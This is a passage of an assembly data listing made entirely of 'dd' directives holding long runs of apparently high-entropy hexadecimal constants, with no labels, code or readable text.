		dd 0F4A50D06h, 740830CEh, 39F62049h, 9AF8B02Bh,	3C048A1Ch
		dd 18AA8810h, 1D65A09Ah, 6C7783FEh, 0E470881h, 678AE76Ch
		dd 941C54D8h, 43F2836Ah, 807EAE08h, 0C2333401h,	6242E894h
		dd 0C33BC1A3h, 0C7AF1B50h, 3A2DB2E1h, 9EE82398h, 8EA62F51h
		dd 0A445752Fh, 95920F47h, 0C1D18A03h, 86E84605h, 2C75184Eh
		dd 350FEE39h, 14558B84h, 0FF1FF0B5h, 0C09D0707h, 8DF8912Bh
		dd 4309C144h, 0D339F4F9h, 3301338Ah, 884A31FFh,	0CE4AE912h
		dd 22B058A4h, 5751846h,	0EBEC48C3h, 0C82B2B27h,	2EE80A8Ah
		dd 0EBF0E118h, 0E476BA09h, 0B587E410h, 0B6EC1D38h, 0A8EDB419h
		dd 0DDA2E613h, 688E8481h, 9B32480Ah, 99C2D5AAh,	7E91EA62h
		dd 0FDE0DC48h, 110BD9E7h, 44C2ADE9h, 5BF06C89h,	0D1DBE41Ch
		dd 849D6D0Ch, 882C5912h, 29066488h, 1B0A1132h, 0D99750E8h
		dd 0B42404F8h, 7D034C7Ch, 94D85824h, 73DF251h, 93810624h
		dd 144B5360h, 21549E74h, 0E249647Ch, 91D6C7D1h,	0F94AFB23h
		dd 0CABA30CFh, 2ACC3E98h, 247D5D0Eh, 1DE45115h,	4E5EF02Bh
		dd 0E880055Eh, 15DD73Ah, 8321EB70h, 0FE1E7C2h, 3E18A4FBh
		dd 451C0049h, 0F16A50C8h, 0A44F691h, 0CEDBEB5Ah, 0B68590B4h
		dd 8ED36284h, 0C9064883h, 0A6303424h, 779E3C80h, 1C393F3Ah
		dd 9CD3C1A4h, 0C7034242h, 4040188Ah, 40094139h,	0A1D2854Ah
		dd 3B057EC2h, 497220D4h, 0E778F1ECh, 55820FE0h,	0D245B590h
		dd 6E83CC95h, 75D2851Ch, 0C37841EBh, 1263F0D1h,	8772102Eh
		dd 44800F8Ah, 0DBB82E1h, 24F4D161h, 7627201h, 4A96E944h
		dd 2C55E319h, 2E2E2D2Eh, 1472805Fh, 0C18AE432h,	0F62EB37Dh
		dd 8FAAC1F3h, 0D30C807Ch, 3CFA7548h, 0A612BA09h, 0FC1CF71Ch
		dd 0F516F781h, 82F11EC9h, 0C6BB0606h, 0CFE35061h, 9210E068h
		dd 1B9C268Dh, 525341A7h, 0CD9D71FFh, 0C8BD2077h, 8BA17A90h
		dd 51494D3h, 72206FB4h,	0B8578852h, 651DFC12h, 0F6332420h
		dd 46018CE4h, 6A81806Eh, 402E69C3h, 0C68B0202h,	1E5FC385h
		dd 153F8C4h, 80B9h, 5D000000h, 200000h,	181DBh,	0DF000h
		dd 0D9A22A00h, 0BA981285h, 62F64BD2h, 84BA41D7h, 2E21B1CCh
		dd 0CDE29796h, 4F8ABFE0h, 0F345E106h, 78095FA7h, 84FC57F3h
		dd 0A5A1D81Ah, 2ED6EE45h, 23AB7657h, 4CA97AD2h,	0C29D2Bh
		dd 0C6431905h, 0C9EC9624h, 58416960h, 7423425Dh, 0A453C310h
		dd 0EEFA65DBh, 0B792839Fh, 79D7B46Eh, 164929Eh,	5EE0CCC0h
		dd 0ACAF3171h, 0DD4BC9B6h, 0BB87C9D4h, 26040778h, 0D09EB52Bh
		dd 3D3D1C31h, 0DA290EC0h, 0CC2C43F6h, 41A775ECh, 0C24EABCFh
		dd 10B258A4h, 809BEE00h, 0AFFC9860h, 0AE2CC550h, 6185B9FDh
		dd 0CEA84CF5h, 0F0066101h, 0F315D14Eh, 0E17FB98Ch, 159C3A11h
		dd 13F4E6A7h, 0CA792F05h, 9F7BB9CAh, 6F5A61ADh,	40BF1F28h
		dd 13E1A469h, 0A2BFE5BAh, 4E384FCEh, 0CE62BB82h, 0A9D8D10Fh
		dd 93A69E58h, 0D613670Ah, 76C8B83Fh, 754BA68Fh,	31338771h
		dd 846086F6h, 0A86F67DAh, 2173CA88h, 0A652A06h,	985CADBEh
		dd 0A1ADF482h, 739FC35Ah, 7099DE60h, 0E63EFCBDh, 9EB54408h
		dd 354E35BEh, 691F7C2h,	13663ACAh, 1652536Fh, 32DC9AAAh
		dd 606A0D63h, 34B927EDh, 1DE708A2h, 0DA7098E2h,	5DDA01B7h
		dd 97258E57h, 7183F0ADh, 0B59C0EFBh, 6C2D5777h,	8965340Dh
		dd 585A9584h, 0CFA1F714h, 7478F040h, 0CF056FB6h, 92C75C7Ah
		dd 0F5F29E13h, 0F8716B41h, 0E2884367h, 0A8C1FD7Dh, 0D08DE66Ch
		dd 8658D63Fh, 3FE5A830h, 678BA7F4h, 5CEF8265h, 0FA725DC4h
		dd 66F30C45h, 0EA884468h, 0E625FD27h, 3038726Ah, 0FF4A2742h
		dd 31DA69F3h, 0BC4FD74Dh, 0F37BF1E3h, 46334BEh,	0E712FCAFh
		dd 0A85789EAh, 6F3A47EEh, 0AB0D6C51h, 65EBBB8Ah, 0BF6CC6B9h
		dd 0E0BB8AEEh, 2848A5C8h, 0F6C62FEDh, 0B96950FAh, 3E76AAC1h
		dd 8F1F979Ah, 9AF9EBEBh, 0D31DEBEDh, 5586AE0Ah,	0C2E43846h
		dd 39788896h, 0A6D57D20h, 0A74BBA1h, 3F9CC135h,	0A0C5FBFDh
		dd 1CA24B85h, 0AA61151Ch, 97497EFEh, 6F494092h,	0A5CD2C9Ch
		dd 8923F42Fh, 7E94B54Bh, 0B5F310C2h, 4445F836h,	0D37AB3F0h
		dd 1A3E58A5h, 390778BBh, 361ED5C8h, 5D130B5Fh, 7FE02630h
		dd 0A98F41CBh, 0D338162Ah, 30327F28h, 654A2314h, 2AB0F012h
		dd 6283C0Fh, 0A47FCD47h, 51DB8146h, 99F49BD2h, 77E09B3h
		dd 5ADD49E5h, 33A96E1Fh, 0DD50D6AFh, 80E41FE6h,	692BEAF0h
		dd 148D1470h, 34F1F74Bh, 0B1722EB4h, 1C2B36F8h,	2E2B3B1Bh
		dd 737D089Bh, 7067E029h, 939AFDDh, 8A0DE5A7h, 2BAA3552h
		dd 21EF6C8h, 932B62F7h,	44445129h, 8AA99951h, 0B2B3CC63h
		dd 97391CEFh, 971D0DFEh, 312A021Eh, 894F522Bh, 0F513E85Ch
		dd 183E84D1h, 1C2D73FBh, 0A236C5CAh, 5A3193BDh,	0D4089502h
		dd 8445072Eh, 0E9C73F8h, 498851D7h, 262A8EA7h, 0BD50B7CEh
		dd 8A3758BAh
		dd 562526Fh, 66ACE1DCh,	99FD457Ch, 1EEEA947h, 6CD1E9BFh
		dd 218FAC0Ch, 4965E891h, 0FE320384h, 5F67D0C4h,	0D4CC943Eh
		dd 46378D9Dh, 8DD6ACC7h, 0E555A7FDh, 0EA675709h, 91EFE589h
		dd 111A8CCAh, 18A6F2Dh,	71487239h, 0D6E2E795h, 0FA2F4C00h
		dd 0AC4615DEh, 0D24B31BAh, 0D85B58F4h, 15468E93h, 66D04385h
		dd 0B670AEEh, 0D9EF315Eh, 44B9914Ch, 86648187h,	17FADB83h
		dd 0EE011F35h, 0BD63B4F0h, 0CFABCCF7h, 2F1460A9h, 5C2C8E8h
		dd 0D6DD4DB5h, 0B1FD7D76h, 9165BA7Bh, 0D81C02C8h, 4033B7CBh
		dd 41E2EF64h, 63225129h, 0BDEE9134h, 8BA83D0Bh,	4479EC0h
		dd 9AFC2CFCh, 0F56F6014h, 826372CBh, 0C869D30Ah, 6B5263D6h
		dd 5ADD10B8h, 5EC5F8EAh, 89D1C646h, 30D91A13h, 9BEA02D5h
		dd 33C8F371h, 35EDE0Dh,	8A3ABD76h, 0EBD2E97Eh, 18A94D22h
		dd 60D4C8E5h, 578CAD40h, 629BAE26h, 0A55F95E6h,	688249A8h
		dd 4CB7A693h, 0EAE62BD7h, 2F34A2Eh, 64CC476h, 788B48D5h
		dd 0BA8CD5E9h, 8157596Dh, 0D80E1568h, 640E54B6h, 1185DA12h
		dd 4B3AEABAh, 2391053h,	4DC5CDAh, 4547F16Eh, 2E24E7E5h
		dd 0EC805AFh, 0CDE126B2h, 0E15934Bh, 47B8FF01h,	2DC00E90h
		dd 9C1002F4h, 0B35072h,	0D992D155h, 72184D3Eh, 0CA7E1E1Ah
		dd 36D6BB39h, 444FE128h, 0DFE4396Eh, 556A55Ah, 0C8C42295h
		dd 359584D1h, 32D44EC8h, 0C73F163h, 4943285Bh, 0B1C45338h
		dd 0A6200008h, 762C7485h, 7CA6DD85h, 30098F0Ah,	968A46D0h
		dd 4CE66B08h, 0FA647843h, 71AD0778h, 0C9082E3Dh, 975E02A8h
		dd 0D37A91Eh, 0EB2EAAC9h, 0A09F07F0h, 0AFB207C3h, 5AA6C709h
		dd 2F8B7902h, 34C38E2Bh, 534BA115h, 17F1E3F9h, 0BAD671B2h
		dd 5AA958C0h, 0E864C726h, 0CAD193Eh, 0C0621BDh,	545B38CAh
		dd 0EA33458Dh, 0E1D6705Ah, 242A8FF3h, 81CAC0EBh, 0FD96A6C1h
		dd 961A97Dh, 0E0614465h, 6F313F12h, 40D933A9h, 73EE36A6h
		dd 625B9033h, 1B3FEF90h, 3685F316h, 7D3CF609h, 0B50F6660h
		dd 0C34FAFAFh, 0C60B1B39h, 24CB86ADh, 4E637769h, 0EC01203Dh
		dd 0D29ADADFh, 0F0EA56C1h, 0E493E250h, 8C0D3EC3h, 6FA880E5h
		dd 11626D50h, 2C1774DFh, 0CB58C228h, 6679F98Fh,	0BE0828F8h
		dd 559A51E2h, 0BEE1B073h, 0D18A5242h, 4B3723CBh, 5C471B17h
		dd 95C4C1E6h, 1939B7EDh, 160BABA1h, 98146EF3h, 0F4B4C941h
		dd 0FBDA633Fh, 0AFD914A5h, 94231C84h, 2911C134h, 874233E3h
		dd 9474DEBAh, 0BB871B0h, 97F63AB6h, 0EAFE5640h,	98C0D5E1h
		dd 0FE6823B6h, 680F193Dh, 673CDED0h, 4C0A2E77h,	94CFD4DCh
		dd 0BCBEFBF3h, 8359E192h, 0E7BB6D25h, 0A301A97Fh, 0BD343EC0h
		dd 0F124661Ch, 8E5A0ACFh, 4447F43h, 0B27EFB44h,	786207FEh
		dd 2ADBD3F3h, 0F9FE533Ah, 52F465D6h, 0A85531E7h, 0FED92C29h
		dd 8606EFF2h, 3CFD6DF9h, 22C0CEB3h, 379F7DC1h, 432EB7B2h
		dd 0BADA70Fh, 24B441F5h, 3C12D8E0h, 2BEC19Bh, 0CA9F2164h
		dd 63F39DB0h, 0D1550ED7h, 0F687CECAh, 4BB319E8h, 4EA96CCCh
		dd 6A7DCA6Ch, 0BCD65E0Fh, 9C42C4E4h, 0FB39776Ah, 0B30F85DEh
		dd 6B3B09BCh, 0F857EAAEh, 8F9A6E67h, 0EBECA7CFh, 1F108D39h
		dd 8897CBBEh, 9AA538FCh, 0C974AC5Bh, 0C96C3207h, 0B8C3B1D1h
		dd 3D949D3Eh, 41D11D2Dh, 584612Ch, 0E680AAC2h, 0A3964D2Ch
		dd 13300093h, 0F529CED5h, 45F62FDDh, 0C9523BC2h, 0D0DA0C73h
		dd 58FB6227h, 31827CE6h, 342614F4h, 79873D80h, 11F81DCAh
		dd 0A3813DAFh, 76BF724h, 3D14C19Ah, 1F774EB1h, 936B1EA5h
		dd 0B332CF6Bh, 81CC8424h, 0A7CE919Bh, 6E4275A2h, 0B9FBBE23h
		dd 0CEC843F8h, 0A212C46Fh, 84AF147Dh, 2E31770Ah, 6DE28EF3h
		dd 0F19AD601h, 0CF251F97h, 0A562C92Ch, 90D0685Eh, 0A59EF546h
		dd 9B93A870h, 7A8C4838h, 75F7E264h, 0A53CCA92h,	0AFBA6277h
		dd 0A567A7h, 228ECC54h,	4E928D0Ah, 45FAEDD5h, 0F9D504D1h
		dd 6B78952h, 582097F3h,	880932E2h, 118C2C0Eh, 5DDB30A6h
		dd 0CCE3EC42h, 0FCE5F2C2h, 0B78BC307h, 1331B098h, 0B8D3DBDAh
		dd 0DA2C5C55h, 0DB0DAF05h, 0B8EB6BF9h, 0E8C592C4h, 26B661CBh
		dd 0CED300Dh, 64560099h, 0EA9A18F8h, 7FC440EBh,	84E00F75h
		dd 0A246BA24h, 1B8D22A8h, 7BF0E263h, 4C6BE8Dh, 32E607FDh
		dd 0EEA3FCC7h, 394102A1h, 58D7CFC6h, 0A0C19E15h, 8241F578h
		dd 33F23h, 3E7B1F6Ch, 0FAB74F33h, 545E4EB8h, 0B9B9399Eh
		dd 0F3A8B125h, 0A8406AF4h, 0A5AD3DDBh, 0ECE68435h, 53F39D11h
		dd 0D676D97Eh, 9C5224A5h, 992C1494h, 8541B378h,	0B1708387h
		dd 0FAD548B2h, 87881766h, 0A1619620h, 0C335FCD4h, 4E103F92h
		dd 0E3416A6Eh, 0D6220B54h, 4D2392C9h, 0BCE1B7BFh, 0D1A4017Ch
		dd 0E8DDA03Ch, 3817029Bh, 0B1C9D2Ah, 40756B95h,	55B7B616h
		dd 0FF083AD1h, 80DFA8F9h, 0BCB61AA1h, 87C14792h, 0AAF9A72Eh
		dd 1BF54401h, 0A1E56FCBh, 0CA55AA97h, 504006EFh, 0A09EDF11h
		dd 0A31453DEh, 0DF7D97B6h, 3D8CEBDh, 0E732EE17h, 38DD393Fh
		dd 9EBA36E0h, 0E0DB27DEh, 6F54C4CBh, 79A7D4D4h,	0A4BE4783h
		dd 8508290Fh, 5529108Ah, 980152B3h, 1DBAFCD4h, 89D848A1h
		dd 0EF2C4D0Bh, 9F39053Ah, 306E4694h, 0A2E0C9D0h, 0ABE0A73Fh
		dd 9E2572F0h, 6991C1E5h, 0F7865221h, 8AF359F4h,	0A1DCF6C8h
		dd 4D6FAB5Ah, 0A63DB5E5h, 8B8F215Fh, 273381DFh,	194DF94Fh
		dd 49A321C4h, 0FD04909Fh, 43B4C68Dh, 5B17A4EAh,	1544E000h
		dd 0FF4E8A6Fh, 8BECFBADh, 0CA49317h, 21E44049h,	19894803h
		dd 0ED93B76Fh, 81658A8Eh, 96878AE1h, 87CF5336h,	0E80EDFAAh
		dd 86D78EAh, 45D2458Dh,	0E323C0F8h, 8A32EAA6h, 845D385Bh
		dd 1DCD09DAh, 0F5D63539h, 0A218145Ah, 0F4B54BDh, 759B99B1h
		dd 0C9A12769h, 76617F81h, 4E749899h, 236C5319h,	2ACCB5EBh
		dd 5792588Ah, 0AD14B721h, 0C5268C40h, 0D9CD3753h, 0C1363AE2h
		dd 0DD5EE83Fh, 5E7C91BAh, 8745BD8Bh, 686E52DFh,	3CD80758h
		dd 0B8083B76h, 53693593h, 9CE404FBh, 0D0F67753h, 4E6DE32Dh
		dd 53DF10FCh, 74B0BD33h, 9B3299AAh, 0D64198Eh, 0C8ED6DAh
		dd 0C5B6577Fh, 76A9B9CDh, 120BAEABh, 7887DB6Ah,	0A0A4B3DAh
		dd 8A0A0B2Ch, 0C05D56D1h, 0A5910104h, 8392C0CBh, 0B47AFBE7h
		dd 761800C7h, 6DFAF1CDh, 397A1239h, 0F78C0BEDh,	259E7D83h
		dd 0E0673355h, 3A87B29Bh, 0CDA7EF2Eh, 14531FDEh, 1001C7A1h
		dd 37CCF5A8h, 392B6CF0h, 0DA489373h, 0CBFDD9BAh, 7F5A697Dh
		dd 0DC1C8AB1h, 922DFBE7h, 5D314C35h, 0D91C264Fh, 77AAB8C8h
		dd 6343C3Fh, 21B15D60h,	0B8DD657Ah, 0D7CFBBE7h,	0A4BB10C7h
		dd 0BEC9F42Eh, 333980CFh, 890EDC5Ch, 29D416F3h,	0D259BDA3h
		dd 698B5A50h, 0E3CF426Ch, 0D96D4801h, 76260574h, 0E2F846ABh
		dd 0A2725CE0h, 0AAF1636Fh, 79028319h, 0CD55E385h, 0DBD83E84h
		dd 4B060BB1h, 3FB1D71Ah, 1B0FC11Fh, 0DFC9B8E2h,	6006F5E9h
		dd 0A1126894h, 6C2F396Ch, 0F570EBF4h, 56D5955Ah, 0B89D133Ch
		dd 7A3361F5h, 20240CA1h, 0B5D74B33h, 5A61BB53h,	0B9E04793h
		dd 4E7E3AC5h, 383B103Bh, 4FDD50C6h, 4DDC056Fh, 0BABBFAABh
		dd 0EE63D8F1h, 49DC57A0h, 5CB5268Bh, 0E90AA022h, 14B7B4B2h
		dd 96C04D28h, 5F01E7FAh, 5603AD95h, 0C5671EADh,	126EEADDh
		dd 0C43DBDE5h, 6E17DB80h, 0ECB73EF1h, 936F451Ah, 84614AACh
		dd 68E88B8Ch, 0F1E0507Ah, 32506CE4h, 0CDFB12A8h, 90D5278Eh
		dd 69ABC27h, 6F9EBC95h
		dd 5599616Dh, 98386951h, 0D3C1B26Bh, 50B05DE2h,	2B555404h
		dd 1E83AA14h, 945CA6C3h, 0AA0F49C0h, 8D23D652h,	6F50DCE6h
		dd 0A0D81F50h, 0CD37964Fh, 9A1D553Bh, 6BDA7591h, 167DDCF5h
		dd 0ADABEE38h, 66B03E3Ch, 87179E7h, 0DB39578Ch,	0B7DD8321h
		dd 0F3B90C31h, 6813BA7Eh, 0A5AE9A4h, 0CCD8C1C2h, 0BCC4DABEh
		dd 4DE65224h, 6270AD81h, 7D9A2861h, 53717E71h, 0C2FA2AE0h
		dd 91A0BBh, 0EF7B37D4h,	9B5C1DA8h, 72C4A17Eh, 8CB9FF0Dh
		dd 1B95D3D2h, 0F44C7AB2h, 9B7AC39Dh, 8FA0955Dh,	0C6EBB2Dh
		dd 7ED4C396h, 2366C181h, 0D0E3DF49h, 447091A8h,	0EDEC1ED2h
		dd 80861E89h, 517EDC25h, 0FE5FF039h, 7E274A9h, 0C4FAD9Bh
		dd 0C6A34227h, 96291A07h, 3AE00EA7h, 8CC8CBE9h,	0CA77B6FCh
		dd 2CFB3ABEh, 5BF16924h, 0D87B8142h, 36F86C7Ah,	1C5990F8h
		dd 9E44188Ch, 0AF6CA30Eh, 223E168Dh, 0F4B1389Fh, 3D1B771Ch
		dd 64BB6700h, 394D5B49h, 0A1F26E9Ch, 64B6B35Fh,	0AD3805A5h
		dd 0F4CC788Dh, 500E3426h, 0D5F360F8h, 2E9173D0h, 37D320C6h
		dd 8F9D2737h, 229A026Dh, 523052BCh, 0C554C137h,	71205F68h
		dd 7B124A23h, 7F3628DAh, 0D4F36207h, 0D5B400FCh, 0EE34A565h
		dd 0C695A32Fh, 0C84772FEh, 31627E10h, 0A7235DD2h, 65FB5B98h
		dd 0BD1A4A60h, 0AAA54F8Dh, 0A9F3BD7h, 8A45506h,	1539E301h
		dd 0B1398A5Ch, 0BAFF7CB0h, 169E22F5h, 0C0F9BAEFh, 0A72DC822h
		dd 312FFBDDh, 0A441FE2Ch, 0BF861E14h, 63825C9Bh, 0EB99553Ah
		dd 32BCF77Dh, 97865BB4h, 0F686DA06h, 9E4F715h, 4CABA7C6h
		dd 2FEC9E79h, 0F0DF3ECh, 2FD834BBh, 61C0E36Fh, 0A2683A2Bh
		dd 0D3F64D47h, 0FC5D631Fh, 9C90B340h, 202479AAh, 28AB3D9Bh
		dd 62B45F28h, 0B5D0D2DAh, 475F49A4h, 0BE4E65FBh, 6D860028h
		dd 777DDE9Dh, 77D0368Eh, 0AC43486Fh, 0F23B89C0h, 9E6A7AAh
		dd 2E7FF436h, 2F20DF15h, 0F3D7CED5h, 2C9667AEh,	923E1926h
		dd 109D43CDh, 151E94E2h, 1F295E82h, 0C6066F1Dh,	0E3A9DFF8h
		dd 0F322E38Ch, 48649963h, 0A5960326h, 517BE87Ch, 0F125755h
		dd 0D2F8DC1Dh, 0B3107100h, 53D46243h, 0C8A590C0h, 0C782F2D1h
		dd 64C2F60Dh, 749F1E4Dh, 0E49369F1h, 1B3FF97Eh,	0B325D2EEh
		dd 8E9190F1h, 0FD3ADDC0h, 4F1226B5h, 0F7FB7619h, 8AB28E72h
		dd 4C406793h, 0E31C788Bh, 0EEEDE93h, 0F35235EEh, 243BBC2Dh
		dd 8CBDC60Ch, 70AF0A1Ch, 271A050Dh, 84961399h, 0C306F654h
		dd 0E151234Fh, 0F8C84D46h, 8FE24AE5h, 10CDB240h, 0A524ABC1h
		dd 73AEF81h, 0ABF1E111h, 0DEED991Dh, 0A615F2C3h, 1F0BFD6h
		dd 0C9DB6498h, 939B3E5Ch, 26170708h, 7D90723Fh,	0C63BA71Bh
		dd 4DCF3950h, 607FD0DBh, 1179D031h, 66770078h, 6B5E8EBCh
		dd 0EB0C7CEEh, 0E137955Bh, 0D509D374h, 59A565C2h, 0A105D178h
		dd 3938C1E9h, 217B949Ah, 0C303D599h, 37CC285Fh,	3C49D09h
		dd 38E6AB59h, 59553299h, 0D8E3CD53h, 0EF6969BFh, 3AD33B07h
		dd 97CD6475h, 4ABCF1Bh,	6250874Eh, 14F33ADDh, 48D895B1h
		dd 74B41905h, 313212A9h, 2A3E24F0h, 692B5C1Fh, 0EA8C544Ah
		dd 0F4F3F8D1h, 0DBBD241h, 524A3A61h, 0EE18EDF9h, 0AC275DD7h
		dd 2B0A34Bh, 7E86B7C3h,	1D19D347h, 0DA1684D0h, 5405FE48h
		dd 31B3B4B0h, 5B5FE9E7h, 4FFEABAEh, 41EA5270h, 0AA943F24h
		dd 0D255A2D3h, 0F7A33210h, 231F9853h, 6ED040D9h, 82607063h
		dd 21C73903h, 0C7B08DD4h, 4D840FD5h, 258141A4h,	25E23ED2h
		dd 0FF1AEEFAh, 433C3EE3h, 0D3934AF6h, 21B4FCA9h, 5D5258Bh
		dd 0C4419F0Bh, 0D956D088h, 1722B454h, 21B182C4h, 0EBD52EA2h
		dd 0DC94ACA3h, 5EF4DD00h, 983CF035h, 0AE65DEh, 0CD272D88h
		dd 0AFEDADF7h, 0EDDED29Fh, 0B6F42329h, 41A2BD20h, 0CC90939Eh
		dd 8EACD096h, 3B973E76h, 1E378DFCh, 0FAF6D971h,	3E3C422h
		dd 14B5AC98h, 10DD0F0Bh, 36ACFD3Bh, 4D31C376h, 0E3694D18h
		dd 0F4E1377Fh, 0DA3C18B0h, 5F6B7F8Bh, 6EC57EDFh, 6FDED2F2h
		dd 0D5839E1h, 37DA827Bh, 1473F53Dh, 0CBEFAE35h,	74F1A188h
		dd 1384D3C8h, 0D42B4BABh, 2738548Fh, 488DCB04h,	65BB4418h
		dd 0AE9656B6h, 1CD9338Ah, 0B958881Ah, 0E32E40BBh, 0B4101C8Eh
		dd 2412E391h, 62AAD23Fh, 74DE456Eh, 91ADD2CFh, 3459A1C7h
		dd 51FB2145h, 0E5448670h, 3CE40665h, 9EEA7399h,	0B393DE9Dh
		dd 2F4BF15Fh, 7CFEC137h, 3AD534F3h, 739D34FAh, 3648F3BEh
		dd 0BDE23241h, 847DB1D5h, 0A1BD0B2Dh, 0B7259F86h, 0DAE0B3C0h
		dd 3A4A5DBBh, 7FD29D84h, 0E287E4D4h, 0C847CD23h, 7EF4DFF6h
		dd 0D461D933h, 0BDE3B8B2h, 529D4159h, 21F64A7Dh, 0D4427B53h
		dd 41A5AFD7h, 0D03EFAB9h, 6ECBDE1Ch, 29C8624Ah,	91C5CB39h
		dd 22CF5C86h, 9D7B3187h, 188C2AA9h, 0B94A25ACh,	97327050h
		dd 0FB0A6B33h, 458E007Fh, 5B22B2E8h, 5F67F55Fh,	8DC47787h
		dd 213D5CC6h, 0BBB80E3Ch, 6589D126h, 0C3B07BF4h, 0D576A5A8h
		dd 3E4DBCF1h, 0D978CC2Dh, 1B56530h, 0BE7E1CACh,	70664A26h
		dd 0CDCACE51h, 5754B29Fh, 509E6AE6h, 0EC01C89Dh, 2DB1F8D8h
		dd 64C7B8B2h, 635C7C7Ch, 94C66B27h, 8895AC28h, 9B86DEEDh
		dd 3F2E72C5h, 0A54C3435h, 6FBBCCA6h, 0BFFC5974h, 9ACA2011h
		dd 0CCB96622h, 1233D3E7h, 85BFBA29h, 6E7AF087h,	7B781FCh
		dd 0A0C2F04Ah, 8E7BEF94h, 23D5003h, 0BB14F432h,	46A6657Eh
		dd 97D401D6h, 0BA67817Fh, 103F8B7Fh, 25840155h,	3FEF48D5h
		dd 5888A358h, 0F45EDBE2h, 0F42AD0C6h, 6F4B82F2h, 0BF111999h
		dd 1CE91F90h, 0D3BADF82h, 63B86FCh, 44BECC41h, 0E547827Ch
		dd 5BE48563h, 0F1F6E278h, 8DC30D4Bh, 0D1959F4Eh, 64522042h
		dd 6BD5D089h, 607C239h,	0DBFCB263h, 736325F8h, 5AE1D7FBh
		dd 0AFC3B551h, 1A33529Bh, 0BD3C6A72h, 0C4A665E3h, 8FE53B25h
		dd 0E353178Fh, 9AC6D2EAh, 8178BD12h, 69E158B0h,	4036844Fh
		dd 888DF2A3h, 5B5DE543h, 4E1229C7h, 4DC4C5D5h, 18B41CA9h
		dd 0AE1E4CBBh, 20F9B44h, 0E0B4EF9Ah, 6AC82949h,	0AE7483DFh
		dd 4962296Eh, 0E64BC6A3h, 0D06E8ABAh, 0E568E71Eh, 43E455F0h
		dd 49C13969h, 0FEFC61C1h, 27897CF6h, 600B676Ah,	323F180Eh
		dd 0BFE4BFB9h, 0D0F8EA29h, 0BF0D7B6Ah, 62732D3Eh, 981AD713h
		dd 207D854Eh, 3F3976CEh, 4F090C56h, 0AEB02BBh, 7CA8C6A1h
		dd 214C1621h, 0EF9F5E32h, 97613A80h, 0A91F0239h, 7CB2F731h
		dd 77FDF39Ah, 8495011Ch, 0B0CDF565h, 69646847h,	97C13C8Eh
		dd 34FA90FCh, 26D148C0h, 0A3A77695h, 0A2D048D7h, 3416CEC7h
		dd 699E3A39h, 55797083h, 0E4CC642Fh, 0A52D8B20h, 0EC250D6Fh
		dd 0C08805Bh, 0DD7C74F2h, 3BF1479Ch, 85A1251Fh,	3B124475h
		dd 4A6100BDh, 34D5194Dh, 4451023h, 0B23C000h, 0AFFE76F4h
		dd 6D672F4Bh, 1D94A880h, 0D4A989F6h, 85B02743h,	256B2933h
		dd 1FC275E8h, 8155FE51h, 0AA26CDDh, 0EE99A1EEh,	4BEB6497h
		dd 0F6A17A50h, 1BB8CD48h, 0D2D9DDDDh, 3CEFAACCh, 2A503ED6h
		dd 0A02EBF5Eh, 327B6FFFh, 0D53293Ch, 4DF15EECh,	6804CB49h
		dd 2FF7FB8Eh, 0DA3BCB66h, 2D17D6C7h, 73494A7Dh,	19492D51h
		dd 5668F47Bh, 1A472832h, 19DA5C15h, 81DB6056h, 0A2C255E6h
		dd 7F9C7E1Ah, 0ACE3E02Dh, 1F56424Eh, 0FB1F71D5h, 0E7BD630h
		dd 2E81EE9Eh, 9C69F349h, 989D1795h, 0DFDD8751h,	4B9CFBD9h
		dd 4778C694h, 6613A8Fh,	0F9EF85D5h, 2E62BCCCh, 705F95C9h
		dd 5B335CEh, 0B40700D9h
		dd 0E4EDD61Ah, 0E5383BEAh, 0A4C7586Eh, 0EA087959h, 0AA0B27BEh
		dd 3313B497h, 5DEFC20Eh, 0FEC3778Fh, 3D8224CEh,	36D1D591h
		dd 0C404A38Ch, 0AB53D8D5h, 5F06096Dh, 2AF7937Ch, 2C3CB06h
		dd 1EFCB186h, 94EF2F8Fh, 0ABC8B5C7h, 6C9D2A1h, 1D934BDCh
		dd 4F8B61DAh, 19930D3Fh, 5EA6B7FFh, 57DF1606h, 0EF9AE7EFh
		dd 0E5ACDA20h, 5FC0373h, 9CE59178h, 225B3Ch, 702FDAF6h
		dd 12D87BEDh, 39F5706Ch, 0A99B4211h, 0E513278Eh, 11619BBDh
		dd 11ED1A3Eh, 33167319h, 0DF5DA3E7h, 0B10A66EAh, 24B90A8h
		dd 9FE2685Eh, 3282C21Dh, 0C327851Eh, 1A9805F2h,	1574D93Dh
		dd 233C0EA4h, 0F03645D8h, 0EFFAD7A6h, 1ED0E763h, 0F76DAF77h
		dd 5A6219E4h, 82B6C5F7h, 46BA3D7h, 0C76DF9FBh, 63DAE158h
		dd 158BECD9h, 0A590126h, 32A77144h, 0BB18FDDDh,	0F72A927Bh
		dd 0B3339CE8h, 0FCEABE60h, 8101B617h, 0DA08C5A1h, 0C4C91F99h
		dd 88B5C16Bh, 30795873h, 5F5E8CFFh, 59283013h, 0AF7688BBh
		dd 1AFF5394h, 0FCEF5872h, 0F1A2B862h, 9D49F0FCh, 0EDCA359Dh
		dd 0F1696B99h, 0BA3B0B48h, 7512D18Ch, 9AA73800h, 0A79CA0C1h
		dd 556CCAA6h, 12AF93A4h, 7EE556D2h, 33A884FBh, 26824AFh
		dd 2A6B9321h, 8C2AB7h, 0B10543A8h, 38D446AFh, 5CBFF6D1h
		dd 0EE472293h, 0B8944E00h, 0A3F2CF46h, 149DB8F3h, 40F51306h
		dd 7E0C3DACh, 3223F9C9h, 37691596h, 0B6B5BED7h,	0BF5A48BBh
		dd 0D8E241E8h, 7617A2C7h, 3F9BF7D6h, 7EC22E66h,	0AA02B1F9h
		dd 9BCDB796h, 0EC984817h, 46B80C5Dh, 93C3F7F0h,	39F62550h
		dd 4D8870CDh, 0AC0953B6h, 4D55E225h, 3E346B57h,	6CC55587h
		dd 1F5A74A1h, 0D576260h, 3CD5FC38h, 8B4AF935h, 0DF518B4Ch
		dd 5D2F333h, 0C5CE0751h, 0CB695B6Ah, 0E5D70146h, 5DD6E255h
		dd 93C7B493h, 64842371h, 0CBF840ECh, 2312BC8Fh,	9A55E9D5h
		dd 3114F0A7h, 0FFB6B52Ch, 0BD164F3Dh, 7707C4CAh, 72C6EB75h
		dd 0BF6057FDh, 187FCA8Fh, 0E00561Eh, 2C64A375h,	49F4299Ah
		dd 465F0B24h, 81E33B70h, 721F2A97h, 19249867h, 0C586EDA9h
		dd 30AB071Fh, 90F158CCh, 94D84E1Bh, 9455D4Dh, 0FBABC4CDh
		dd 0E790233h, 0C0EC5192h, 87E8B1F5h, 1D5F8D9Ch,	0F9EE3E1h
		dd 0DE4189DAh, 1A11A03Ah, 1249645Eh, 4359A4C7h,	4E86C439h
